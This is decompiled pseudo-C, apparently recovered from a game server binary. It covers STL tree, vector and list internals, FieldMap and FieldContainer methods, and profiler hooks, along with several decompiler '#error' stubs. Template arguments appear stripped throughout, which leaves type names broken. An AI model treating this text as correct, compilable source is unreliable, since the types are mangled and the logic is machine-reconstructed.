*)&std::_Tree_std::allocator_0>>::_Insert( v4, (std::_Tree,std::allocator,0> >::iterator *)&_Val, _Addleft, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v12; result->second = 1; } return v11; } //----- (00456670) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _First, std::_Tree,std::allocator,0> >::iterator _Last) { std::_Tree,std::allocator,0> >::iterator v4; // ebx@1 std::_Tree,std::allocator,0> >::iterator v5; // esi@1 std::_Tree,std::allocator,0> > *v6; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v7; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@3 std::_Tree,std::allocator,0> >::iterator *v9; // eax@3 std::_Tree,std::allocator,0> >::iterator v10; // ecx@5 int v11; // eax@6 std::_Tree,std::allocator,0> >::iterator j; // eax@7 std::_Tree,std::allocator,0> >::iterator i; // eax@10 v4 = _Last; v5 = _First; v6 = this; v7 = this->_Myhead; if ( (std::_Tree_nod,std::allocator,0> >::_Node *)_First != v7->_Left || (std::_Tree_nod,std::allocator,0> >::_Node *)_Last != v7 ) { if ( _First != _Last ) { do { v10 = v5; if ( !*(_BYTE *)(*(_DWORD *)&v5 + 17) ) { v11 = *(_DWORD *)(*(_DWORD *)&v5 + 8); if ( *(_BYTE *)(v11 + 17) ) { for ( i = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v5 + 4); !*(_BYTE *)(*(_DWORD *)&i + 17); i = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&i + 4) ) { if ( v5 != *(_DWORD *)(*(_DWORD *)&i + 8) ) break; v5 = i; } v5 = i; } else { v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v5 + 8); for ( j = *(std::_Tree,std::allocator,0> >::iterator *)v11; !*(_BYTE *)(*(_DWORD *)&j + 17); j = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)&j ) v5 = j; } } std::_Tree_std::allocator_0>>::erase( v6, &_First, v10); } while ( v5 != v4 ); } v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; } else { std::_Tree_std::allocator_0>>::_Erase( this, v7->_Parent); v6->_Myhead->_Parent = v6->_Myhead; v8 = v6->_Myhead; v6->_Mysize = 0; v8->_Left = v8; v6->_Myhead->_Right = v6->_Myhead; v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6->_Myhead->_Left; } return v9; } //----- (00456730) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, RoutionInterface *const *_Val) { std::vector > *v4; // esi@1 RoutionInterface **v5; // edx@1 signed int v6; // eax@2 unsigned int v7; // edi@4 signed int v8; // ecx@6 int v9; // ecx@11 int v10; // eax@15 int v11; // ecx@18 int v12; // eax@22 void *v13; // eax@25 unsigned int v14; // ebp@25 int v15; // eax@25 #593 **v16; // eax@25 RoutionInterface **v17; // eax@25 int v18; // ecx@26 int v19; // edi@28 int v20; // ebp@31 std::vector >::iterator v21; // ebx@31 int v22; // edx@31 unsigned int v23; // eax@31 int v24; // ecx@32 #593 **v25; // edi@33 void *_Newvec; // [sp+0h] [bp-4h]@25 unsigned int _Wherea; // [sp+8h] [bp+4h]@31 int _Counta; // [sp+Ch] [bp+8h]@25 v4 = this; v5 = this->_Myfirst; _Val = (RoutionInterface *const *)*_Val; if ( v5 ) v6 = this->_Myend - v5; else v6 = 0; v7 = _Count; if ( _Count ) { if ( v5 ) v8 = this->_Mylast - v5; else v8 = 0; if ( 1073741823 - v8 < _Count ) std::vector>::_Xlen(v4); if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( v6 >= _Count + v9 ) { v20 = (int)v4->_Mylast; v21 = _Where; v22 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2; v23 = 4 * _Count; _Wherea = 4 * _Count; if ( v22 >= _Count ) { v25 = (#593 **)(v20 - v23); v4->_Mylast = (RoutionInterface **)std::vector>::_Ucopy( (char *)(v20 - v23), v20, (char *)v20); std::copy_backward( *(#593 ***)&v21, v25, (#593 **)v20); std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(*(_DWORD *)&v21 + _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } else { std::vector>::_Ucopy( *(char **)&v21, v20, (char *)(*(_DWORD *)&v21 + v23)); std::vector>::_Ufill( (std::vector > *)v4, (#593 **)v4->_Mylast, _Count - ((signed int)((char *)v4->_Mylast - *(_DWORD *)&v21) >> 2)); v24 = (int)&v4->_Mylast[_Wherea / 4]; v4->_Mylast = (RoutionInterface **)v24; std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(v24 - _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } } else { if ( 1073741823 - ((unsigned int)v6 >> 1) >= v6 ) v10 = ((unsigned int)v6 >> 1) + v6; else v10 = 0; if ( v5 ) v11 = v4->_Mylast - v5; else v11 = 0; if ( v10 < _Count + v11 ) { if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; v10 = _Count + v12; } _Counta = 4 * v10; v13 = operator new(4 * v10); v14 = 4 * ((signed int)(*(_DWORD *)&_Where - (unsigned int)v4->_Myfirst) >> 2); _Newvec = v13; memmove((char *)v13, (char *)v4->_Myfirst, v14); v16 = std::vector>::_Ufill( (std::vector > *)v4, (#593 **)(v14 + v15), v7); memmove((char *)v16, *(char **)&_Where, 4 * ((signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2)); v17 = v4->_Myfirst; if ( v17 ) v18 = v4->_Mylast - v17; else v18 = 0; v19 = v18 + v7; if ( v17 ) operator delete(v4->_Myfirst); v4->_Myend = (RoutionInterface **)((char *)_Newvec + _Counta); v4->_Mylast = (RoutionInterface **)((char *)_Newvec + 4 * v19); v4->_Myfirst = (RoutionInterface **)_Newvec; } } } //----- (00456910) -------------------------------------------------------- void __thiscall FieldMap::fm_SetRefuseAbstate(void *this, int idx) { void *v2; // esi@1 std::pair,std::allocator,0> >::iterator,bool> result; // [sp+8h] [bp-14h]@1 int v4; // [sp+18h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldContainer::fm_SetRefuseAbstate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldContainer::fm_SetRefuseAbstate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; std::_Tree_std::allocator_0>>::insert( (std::_Tree,std::allocator,0> > *)((char *)v2 + 404), &result, (ABSTATEINDEX *)&idx); --funcallanalizer.fca_stackpoint; v4 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldContainer::fm_SetRefuseAbstate"); } //----- (004569C0) -------------------------------------------------------- #error "4569C0: undefined or illegal type '#1265' (funcsize=156)" //----- (00456BF0) -------------------------------------------------------- void __thiscall FieldMap::fm_Insert_MIDLinkToIPlayerList(int this, int nCharNo) { int v2; // edx@1 int v3; // eax@1 int v4; // edi@4 std::list > *v5; // esi@4 std::_List_nod >::_Node *v6; // ebx@4 v2 = *(_DWORD *)(this + 272); v3 = *(_DWORD *)v2; if ( *(_DWORD *)v2 == v2 ) { LABEL_4: v4 = *(_DWORD *)(this + 272); v5 = (std::list > *)(this + 268); v6 = std::list>::_Buynode( (std::list > *)(this + 268), *(std::_List_nod >::_Node **)(this + 272), *(std::_List_nod >::_Node **)(v4 + 4), (PassiveDataBox::PSSetAbstateIndex *const *)&nCharNo); std::list>::_Incsize(v5, 1u); *(_DWORD *)(v4 + 4) = v6; v6->_Prev->_Next = v6; } else { while ( *(_DWORD *)(v3 + 8) != nCharNo ) { v3 = *(_DWORD *)v3; if ( v3 == v2 ) goto LABEL_4; } } } //----- (00456C50) -------------------------------------------------------- char __thiscall FieldMap::fm_Insert_MIDPlayerInfoList(int this, int nCharNo) { char result; // al@3 void **v3; // eax@4 void *v4; // esi@4 std::list > *v5; // edi@8 int v6; // ebx@8 std::_List_nod >::_Node *v7; // ST04_4@8 std::_List_nod >::_Node *v8; // ebp@8 int v9; // [sp+4h] [bp-14h]@1 int InsertItem; // [sp+8h] [bp-10h]@8 int v11; // [sp+Ch] [bp-Ch]@8 int v12; // [sp+10h] [bp-8h]@8 int v13; // [sp+14h] [bp-4h]@8 v9 = this; if ( *(_BYTE *)(this + 264) && *(_DWORD *)(this + 288) < (signed int)*(_WORD *)(this + 266) ) { v3 = *(void ***)(this + 272); v4 = *v3; if ( *v3 == v3 ) { LABEL_7: result = 0; } else { while ( *((_DWORD *)v4 + 2) == nCharNo ) { v4 = *(void **)v4; if ( v4 == v3 ) goto LABEL_7; } v5 = (std::list > *)(this + 280); v11 = 0; v12 = 0; v6 = *(_DWORD *)(this + 284); InsertItem = nCharNo; v7 = *(std::_List_nod >::_Node **)(v6 + 4); v13 = 10000; v8 = std::list>::_Buynode( (std::list > *)(this + 280), (std::_List_nod >::_Node *)v6, v7, (FieldMap::MIDPlayerInfo *)&InsertItem); std::list>::_Incsize(v5, 1u); *(_DWORD *)(v6 + 4) = v8; v8->_Prev->_Next = v8; if ( v4 != *(void **)(v9 + 272) ) { **((_DWORD **)v4 + 1) = *(_DWORD *)v4; *(_DWORD *)(*(_DWORD *)v4 + 4) = *((_DWORD *)v4 + 1); operator delete(v4); --*(_DWORD *)(v9 + 276); } result = 1; } } else { result = 0; } return result; } //----- (00456D30) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineAxialFlag::safm_SetLinkRoutionInterface(ShineObjectClass::ShineAxialFlag *this, RoutionInterface *pInterFace) { char *v2; // ecx@1 int v3; // esi@1 int v4; // edx@2 int v5; // eax@6 bool result; // al@6 v2 = (char *)&this->safm_vecRoutions; v3 = *((_DWORD *)v2 + 1); if ( v3 ) v4 = (*((_DWORD *)v2 + 2) - v3) >> 2; else v4 = 0; if ( v3 && v4 < (unsigned int)((*((_DWORD *)v2 + 3) - v3) >> 2) ) { v5 = *((_DWORD *)v2 + 2); *(_DWORD *)v5 = pInterFace; *((_DWORD *)v2 + 2) = v5 + 4; result = 1; } else { std::vector>::_Insert_n( (std::vector > *)v2, *((std::vector >::iterator *)v2 + 2), 1u, &pInterFace); result = 1; } return result; } //----- (00456D90) -------------------------------------------------------- void __thiscall std::set_std::allocator>::_set_std::allocator>(std::set,std::allocator > *this) { std::set,std::allocator > *v1; // esi@1 std::_Tree,std::allocator,0> >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::_Tree,std::allocator,0> >::iterator)this; v1 = this; std::_Tree_std::allocator_0>>::erase( &this->baseclass_0, &result, (std::_Tree,std::allocator,0> >::iterator)this->baseclass_0._Myhead->_Left, (std::_Tree,std::allocator,0> >::iterator)this->baseclass_0._Myhead); operator delete(v1->baseclass_0._Myhead); v1->baseclass_0._Myhead = 0; v1->baseclass_0._Mysize = 0; } //----- (00456DC0) -------------------------------------------------------- void __thiscall FieldMap::_FieldMap(int this) { int v1; // edi@1 Movie::CinemaComplex *v2; // esi@1 std::_Tree,std::allocator,0> >::iterator v3; // ST08_4@3 std::_Tree,std::allocator,0> >::iterator v4; // ST04_4@3 std::_Tree,std::allocator,0> >::iterator result; // [sp+14h] [bp-10h]@3 int v6; // [sp+20h] [bp-4h]@1 v1 = this; v2 = *(Movie::CinemaComplex **)(this + 68); v6 = 4; if ( v2 ) { Movie::CinemaComplex::_CinemaComplex(v2); operator delete(v2); } std::list>::clear((std::list,std::allocator > > *)(v1 + 268)); std::list>::clear((std::list,std::allocator > > *)(v1 + 280)); v3 = *(std::_Tree,std::allocator,0> >::iterator *)(v1 + 408); v4 = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)(v1 + 408); LOBYTE(v6) = 3; std::_Tree_std::allocator_0>>::erase( (std::_Tree,std::allocator,0> > *)(v1 + 404), &result, v4, v3); operator delete(*(void **)(v1 + 408)); *(_DWORD *)(v1 + 408) = 0; *(_DWORD *)(v1 + 412) = 0; std::list>::clear((std::list,std::allocator > > *)(v1 + 280)); operator delete(*(void **)(v1 + 284)); *(_DWORD *)(v1 + 284) = 0; std::list>::clear((std::list,std::allocator > > *)(v1 + 268)); operator delete(*(void **)(v1 + 272)); *(_DWORD *)(v1 + 272) = 0; LOBYTE(v6) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(v1 + 260)); v6 = -1; MobDeadCount::_MobDeadCount((MobDeadCount *)(v1 + 72)); } //----- (00456EC0) -------------------------------------------------------- void __thiscall FieldContainer::_FieldContainer(FieldContainer *this) { FieldContainer *v1; // esi@1 void *v2; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; operator delete__(this->fc_GuildTournamentMap.attr); operator delete__(v1->fc_InstanceDungeon.attr); _eh_vector_destructor_iterator_(v1->gap11070, 0x1A8u, 512, (void (__thiscall *)(void *))FieldMap::_FieldMap); ShineCommonParameter::_ShineCommonParameter((ShineScript *)&v1->fc_FieldOption); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v2 = v1->baseclass_0.l_Array; if ( v2 ) operator delete__(v2); } // 64013C: using guessed type int (__stdcall *List_FieldMap____vftable_[3])(__int16 hnd); //----- (00456F60) -------------------------------------------------------- #error "456F60: undefined or illegal type '#593' (funcsize=70)" //----- (00457070) -------------------------------------------------------- #error "457070: undefined or illegal type '#1265' (funcsize=97)" //----- (004571C0) -------------------------------------------------------- #error "4571C0: undefined or illegal type '#1265' (funcsize=104)" //----- (00457320) -------------------------------------------------------- #error "457320: undefined or illegal type '#1265' (funcsize=72)" //----- (00457480) -------------------------------------------------------- #error "457480: undefined or illegal type 'ListArray' (funcsize=87)" //----- (004575B0) -------------------------------------------------------- #error "4575B0: undefined or illegal type '#1265' (funcsize=46)" //----- (00457670) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShineObject::so_MapMarkingAtDefaultCoord(void *this) { void *v1; // esi@1 int v2; // eax@1 unsigned int v3; // ecx@1 char *v4; // ecx@1 unsigned int v5; // eax@1 MapInfo *v6; // eax@4 signed int result; // eax@5 int v8; // eax@6 int v9; // esi@6 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_MapMarkingAtDefaultCoord"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_MapMarkingAtDefaultCoord"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1208))(v1); v3 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v3; v4 = (char *)&namestring + 256 * v3; *(_DWORD *)v4 = *(_DWORD *)v2; *((_DWORD *)v4 + 1) = *(_DWORD *)(v2 + 4); *((_DWORD *)v4 + 2) = *(_DWORD *)(v2 + 8); v4[12] = 0; v5 = BTree::operator__(&mapdatabox.mdb_btree, v4); if ( v5 == -1 ) LOWORD(v5) = -1; v5 = (unsigned __int16)v5; if ( (unsigned __int16)v5 < mapdatabox.mdb_maxmapid && (v6 = mapdatabox.mdb_index[v5]) != 0 ) { **(_DWORD **)((char *)v1 + 78) = v6->RegenX; *(_DWORD *)(*(_DWORD *)((char *)v1 + 78) + 4) = v6->RegenY; v8 = ShineObjectClass::ShineObject::so_MapMarking(v1, 0); --funcallanalizer.fca_stackpoint; v9 = v8; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_MapMarkingAtDefaultCoord"); result = v9; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_MapMarkingAtDefaultCoord"); result = 1; } return result; } // 457320: using guessed type int __thiscall ShineObjectClass__ShineObject__so_MapMarking(_DWORD, _DWORD); //----- (004577C0) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, #1265 *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); FieldMap::operator_(v3, (int)ele); return 1; } // 4577D5: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (004577F0) -------------------------------------------------------- int __thiscall FieldMap::operator_(int this, int a2) { int v2; // ebx@1 v2 = this; *(_DWORD *)this = *(_DWORD *)a2; *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); *(_DWORD *)(this + 20) = *(_DWORD *)(a2 + 20); *(_DWORD *)(this + 24) = *(_DWORD *)(a2 + 24); *(_DWORD *)(this + 28) = *(_DWORD *)(a2 + 28); memcpy((void *)(this + 32), (const void *)(a2 + 32), 0x22u); *(_DWORD *)(this + 68) = *(_DWORD *)(a2 + 68); *(_DWORD *)(this + 72) = *(_DWORD *)(a2 + 72); *(_DWORD *)(this + 76) = *(_DWORD *)(a2 + 76); *(_DWORD *)(this + 80) = *(_DWORD *)(a2 + 80); *(_DWORD *)(this + 84) = *(_DWORD *)(a2 + 84); *(_DWORD *)(this + 88) = *(_DWORD *)(a2 + 88); *(_DWORD *)(this + 92) = *(_DWORD *)(a2 + 92); *(_DWORD *)(this + 96) = *(_DWORD *)(a2 + 96); *(_DWORD *)(this + 100) = *(_DWORD *)(a2 + 100); *(_DWORD *)(this + 104) = *(_DWORD *)(a2 + 104); *(_DWORD *)(this + 108) = *(_DWORD *)(a2 + 108); *(_DWORD *)(this + 112) = *(_DWORD *)(a2 + 112); *(_DWORD *)(this + 116) = *(_DWORD *)(a2 + 116); *(_DWORD *)(this + 120) = *(_DWORD *)(a2 + 120); *(_DWORD *)(this + 124) = *(_DWORD *)(a2 + 124); *(_DWORD *)(this + 128) = *(_DWORD *)(a2 + 128); *(_DWORD *)(this + 132) = *(_DWORD *)(a2 + 132); *(_DWORD *)(this + 136) = *(_DWORD *)(a2 + 136); *(_DWORD *)(this + 140) = *(_DWORD *)(a2 + 140); *(_DWORD *)(this + 144) = *(_DWORD *)(a2 + 144); *(_DWORD *)(this + 148) = *(_DWORD *)(a2 + 148); *(_DWORD *)(this + 152) = *(_DWORD *)(a2 + 152); *(_DWORD *)(this + 156) = *(_DWORD *)(a2 + 156); *(_DWORD *)(this + 160) = *(_DWORD *)(a2 + 160); *(_DWORD *)(this + 164) = *(_DWORD *)(a2 + 164); *(_DWORD *)(this + 168) = *(_DWORD *)(a2 + 168); *(_DWORD *)(this + 172) = *(_DWORD *)(a2 + 172); *(_DWORD *)(this + 176) = *(_DWORD *)(a2 + 176); *(_DWORD *)(this + 180) = *(_DWORD *)(a2 + 180); memcpy((void *)(this + 184), (const void *)(a2 + 184), 0x51u); *(_WORD *)(this + 266) = *(_WORD *)(a2 + 266); std::list>::operator_( (std::list,std::allocator > > *)(this + 268), a2 + 268); std::list>::operator_( (std::list,std::allocator > > *)(v2 + 280), a2 + 280); *(_DWORD *)(v2 + 292) = *(_DWORD *)(a2 + 292); *(_DWORD *)(v2 + 296) = *(_DWORD *)(a2 + 296); memcpy((void *)(v2 + 300), (const void *)(a2 + 300), 0x65u); std::_Tree_std::allocator_0>>::operator_( (std::_Tree,std::allocator,0> > *)(v2 + 404), (std::_Tree,std::allocator,0> > *)(a2 + 404)); *(_DWORD *)(v2 + 416) = *(_DWORD *)(a2 + 416); *(_DWORD *)(v2 + 420) = *(_DWORD *)(a2 + 420); return v2; } //----- (00457A10) -------------------------------------------------------- std::_Tree,std::allocator,0> > *__thiscall std::_Tree_std::allocator_0>>::operator_(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> > *result) { std::_Tree,std::allocator,0> >::iterator v2; // edi@1 std::_Tree,std::allocator,0> > *v3; // esi@1 v2 = (std::_Tree,std::allocator,0> >::iterator)result; v3 = this; if ( this != result ) { std::_Tree_std::allocator_0>>::erase( this, (std::_Tree,std::allocator,0> >::iterator *)&result, (std::_Tree,std::allocator,0> >::iterator)this->_Myhead->_Left, (std::_Tree,std::allocator,0> >::iterator)this->_Myhead); std::_Tree_std::allocator_0>>::_Copy( v3, *(std::_Tree,std::allocator,0> > **)&v2); } return v3; } //----- (00457A40) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Copy(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> > *_Right) { std::_Tree,std::allocator,0> > *v2; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v3; // edx@1 std::_Tree_nod,std::allocator,0> >::_Node *v4; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v5; // ecx@2 std::_Tree_nod,std::allocator,0> >::_Node *v6; // esi@4 std::_Tree_nod,std::allocator,0> >::_Node *v7; // ecx@4 std::_Tree_nod,std::allocator,0> >::_Node *i; // eax@4 v2 = this; this->_Myhead->_Parent = std::_Tree_std::allocator_0>>::_Copy( this, _Right->_Myhead->_Parent, this->_Myhead); v3 = v2->_Myhead; v2->_Mysize = _Right->_Mysize; v4 = v3->_Parent; if ( v4->_Isnil ) { v3->_Left = v3; v2->_Myhead->_Right = v2->_Myhead; } else { v5 = v4->_Left; if ( !v4->_Left->_Isnil ) { do { v4 = v5; v5 = v5->_Left; } while ( !v5->_Isnil ); } v3->_Left = v4; v6 = v2->_Myhead; v7 = v6->_Parent; for ( i = v7->_Right; !i->_Isnil; i = i->_Right ) v7 = i; v6->_Right = v7; } } //----- (00457AD0) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Copy(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode) { std::_Tree,std::allocator,0> > *v3; // esi@1 char v4; // al@1 std::_Tree_nod,std::allocator,0> >::_Node *v5; // edi@2 std::_Tree_nod,std::allocator,0> >::_Node *v6; // ST0C_4@4 int v8; // [sp+0h] [bp-24h]@1 std::_Tree,std::allocator,0> > *v9; // [sp+Ch] [bp-18h]@1 std::_Tree_nod,std::allocator,0> >::_Node *_Newroot; // [sp+10h] [bp-14h]@1 int *v11; // [sp+14h] [bp-10h]@1 int v12; // [sp+20h] [bp-4h]@4 v3 = this; _Newroot = this->_Myhead; v4 = _Rootnode->_Isnil; v11 = &v8; v9 = this; if ( !v4 ) { v5 = std::_Tree_std::allocator_0>>::_Buynode( this, this->_Myhead, _Wherenode, this->_Myhead, &_Rootnode->_Myval, _Rootnode->_Color); if ( _Newroot->_Isnil ) _Newroot = v5; v6 = _Rootnode->_Left; v12 = 0; v5->_Left = std::_Tree_std::allocator_0>>::_Copy( v3, v6, v5); v5->_Right = std::_Tree_std::allocator_0>>::_Copy( v3, _Rootnode->_Right, v5); } return _Newroot; } //----- (00457B68) -------------------------------------------------------- void __usercall _L195467(int a1) { std::_Tree_std::allocator_0>>::_Erase( *(std::_Tree,std::allocator,0> > **)(a1 - 24), *(std::_Tree_nod,std::allocator,0> >::_Node **)(a1 - 20)); _CxxThrowException(0, 0); } //----- (00457B80) -------------------------------------------------------- std::list,std::allocator > > *__thiscall std::list>::operator_(std::list,std::allocator > > *this, int a2) { std::list,std::allocator > > *v2; // esi@1 int v3; // edi@2 int v4; // ebx@2 v2 = this; if ( this != (std::list,std::allocator > > *)a2 ) { v3 = *(_DWORD *)(a2 + 4); v4 = *(_DWORD *)v3; std::list>::clear(this); std::list>::_Insert>::const_iterator>( (std::list > *)v2, (std::_List_nod >::_Node *)v2->_Myhead->_Next, v4, v3, a2); } return v2; } //----- (00457BC0) -------------------------------------------------------- void __thiscall std::list>::_Insert>::const_iterator>(std::list > *ecx0, std::_List_nod >::_Node *_Next, int result, int a4, int a5) { int v5; // esi@1 std::_List_nod >::_Node *v6; // edi@3 int v7; // [sp+0h] [bp-24h]@1 int v8; // [sp+Ch] [bp-18h]@1 std::list > *this; // [sp+10h] [bp-14h]@1 int *v10; // [sp+14h] [bp-10h]@1 int v11; // [sp+20h] [bp-4h]@1 v5 = result; v10 = &v7; this = ecx0; v8 = result; v11 = 0; while ( v5 != a4 ) { v6 = std::list>::_Buynode( this, _Next, _Next->_Prev, (PassiveDataBox::PSSetAbstateIndex *const *)(v5 + 8)); std::list>::_Incsize( (std::list > *)this, 1u); _Next->_Prev = v6; v6->_Prev->_Next = v6; v5 = *(_DWORD *)v5; } } //----- (00457C70) -------------------------------------------------------- std::list,std::allocator > > *__thiscall std::list>::operator_(std::list,std::allocator > > *this, int a2) { std::list,std::allocator > > *v2; // esi@1 int v3; // edi@2 int v4; // ebx@2 v2 = this; if ( this != (std::list,std::allocator > > *)a2 ) { v3 = *(_DWORD *)(a2 + 4); v4 = *(_DWORD *)v3; std::list>::clear(this); std::list>::_Insert>::const_iterator>( (std::list > *)v2, (std::_List_nod >::_Node *)v2->_Myhead->_Next, v4, v3, a2); } return v2; } //----- (00457CB0) -------------------------------------------------------- void __thiscall std::list>::_Insert>::const_iterator>(std::list > *ecx0, std::_List_nod >::_Node *_Next, int result, int a4, int a5) { int v5; // esi@1 std::_List_nod >::_Node *v6; // edi@3 int v7; // [sp+0h] [bp-24h]@1 int v8; // [sp+Ch] [bp-18h]@1 std::list > *this; // [sp+10h] [bp-14h]@1 int *v10; // [sp+14h] [bp-10h]@1 int v11; // [sp+20h] [bp-4h]@1 v5 = result; v10 = &v7; this = ecx0; v8 = result; v11 = 0; while ( v5 != a4 ) { v6 = std::list>::_Buynode( this, _Next, _Next->_Prev, (FieldMap::MIDPlayerInfo *)(v5 + 8)); std::list>::_Incsize(this, 1u); _Next->_Prev = v6; v6->_Prev->_Next = v6; v5 = *(_DWORD *)v5; } } //----- (00457D60) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, #1265 *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); FieldMap::operator_(v3, (int)ele); return 1; } // 457D76: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00457D90) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, #1265 *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Next; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; FieldMap::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (00457DE0) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, #1265 *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Prev; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; FieldMap::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (00457E30) -------------------------------------------------------- void __thiscall FunctionProfiler::FunctionPerformance::fp_Clear(FunctionProfiler::FunctionPerformance *this) { this->fp_AccumulateCount = 0i64; this->fp_EntryCount = 0i64; this->fp_ExecuteNumber = 0i64; } //----- (00457E50) -------------------------------------------------------- void __thiscall FunctionProfiler::FunctionPerformance::fp_Report(FunctionProfiler::FunctionPerformance *this) { fprintf(FunctionProfiler::FunctionPerformance::fp_ProfileFile, "%s\t%I64u\t%f\t%f\n"); } //----- (00457F30) -------------------------------------------------------- void __thiscall FunctionProfiler::PerformanceRecorder::pr_MainLoopHead(FunctionProfiler::PerformanceRecorder *this) { __int16 v1; // ax@1 v1 = this->pr_CheckLoopCount_Command; if ( v1 > 0 ) { this->pr_CheckLoopCount_Real = v1; this->pr_CheckLoopCount_Command = -1; } } //----- (00457F50) -------------------------------------------------------- void __thiscall FunctionCallingAnalyzer::FunctionCallingAnalyzer(FunctionCallingAnalyzer *this) { this->fca_Pointer.mask = 63; this->fca_Pointer.value = 0; memset(this->fca_stack, 0, sizeof(this->fca_stack)); } //----- (00457F80) -------------------------------------------------------- void __thiscall FunctionCallingAnalyzer::fca_NetCommandStorage(FunctionCallingAnalyzer *this, NETCOMMAND *nc) { unsigned int v2; // eax@1 this->fca_NetCommand[this->fca_Pointer.value].protocol = nc->protocol; v2 = this->fca_Pointer.mask & (this->fca_Pointer.value + 1); this->fca_Pointer.value = v2; this->fca_NetCommand[v2].protocol = 0; } //----- (00457FB0) -------------------------------------------------------- void __thiscall FunctionCallingAnalyzer::fca_printf(FunctionCallingAnalyzer *this, char *filename) { FunctionCallingAnalyzer 